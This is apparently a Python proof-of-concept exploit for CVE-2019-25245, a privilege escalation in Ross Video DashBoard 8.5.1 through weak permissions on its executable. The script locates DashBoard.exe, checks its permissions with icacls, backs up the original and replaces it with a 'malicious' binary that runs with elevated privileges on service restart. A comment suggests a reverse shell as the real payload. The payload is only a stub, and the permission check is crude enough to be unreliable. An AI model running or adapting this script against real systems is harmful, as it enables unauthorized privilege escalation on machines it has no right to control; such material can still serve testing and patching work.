# CVE-2019-25245 PoC - Ross Video DashBoard 8.5.1 Privilege Escalation
# This PoC demonstrates the permission misconfiguration vulnerability
# Requirements: Authenticated user access to the target system
import os
import shutil
import sys
TARGET_EXECUTABLE = "DashBoard.exe"
MALICIOUS_EXECUTABLE = "malicious_dashboard.exe"
BACKUP_SUFFIX = ".backup"
def check_permissions(target_path):
"""
Check if the current user has write permissions on DashBoard.exe
This simulates checking for M or C flags on Authenticated Users
"""
try:
# On Windows, use icacls to check permissions
import subprocess
result = subprocess.run(
['icacls', target_path],
capture_output=True,
text=True
)
# Check if Authenticated Users have modify/write permissions
if 'Authenticated Users' in result.stdout:
if 'M' in result.stdout or 'W' in result.stdout:
print(f"[+] Vulnerable: Authenticated Users has modify permissions on {target_path}")
return True
return False
except Exception as e:
print(f"[-] Error checking permissions: {e}")
return False
def create_malicious_executable(output_path):
"""
Create a malicious executable that will run with elevated privileges
This is a placeholder - actual malicious code would be placed here
"""
try:
# Create a simple malicious executable
# In real attack, this would be a reverse shell or other malicious code
with open(output_path, 'wb') as f:
# Simple PE header for a minimal executable
pe_header = bytes([
0x4D, 0x5A, # MZ signature
0x90, 0x00, 0x03, 0x00, 0x00, 0x00,
0x04, 0x00, 0x00, 0x00, 0xFF, 0xFF,
0x00, 0x00, 0xB8, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00
])
f.write(pe_header)
print(f"[+] Created malicious executable: {output_path}")
return True
except Exception as e:
print(f"[-] Error creating malicious executable: {e}")
return False
def exploit(target_path, backup_path):
"""
Perform the privilege escalation by replacing the legitimate executable
"""
try:
# Step 1: Backup the original executable
print(f"[*] Backing up original executable to {backup_path}")
shutil.copy2(target_path, backup_path)
# Step 2: Replace with malicious executable
print(f"[*] Replacing {target_path} with malicious executable")
shutil.copy2(MALICIOUS_EXECUTABLE, target_path)
print("[+] Exploit completed successfully")
print("[*] When DashBoard service restarts, the malicious code will execute with elevated privileges")
return True
except Exception as e:
print(f"[-] Error during exploitation: {e}")
return False
def main():
# Default installation path - may vary
default_paths = [
r"C:\Program Files\Ross Video\DashBoard\DashBoard.exe",
r"C:\Program Files (x86)\Ross Video\DashBoard\DashBoard.exe"
]
target_path = None
for path in default_paths:
if os.path.exists(path):
target_path = path
break
if not target_path:
print("[-] DashBoard.exe not found in default locations")
target_path = input("Enter path to DashBoard.exe: ").strip()
print(f"[*] Target: {target_path}")
# Check if vulnerable
if not check_permissions(target_path):
print("[-] Target is NOT vulnerable to this exploit")
return
# Create malicious executable
if not create_malicious_executable(MALICIOUS_EXECUTABLE):
return
# Perform exploitation
backup_path = target_path + BACKUP_SUFFIX
exploit(target_path, backup_path)
if __name__ == "__main__":
main()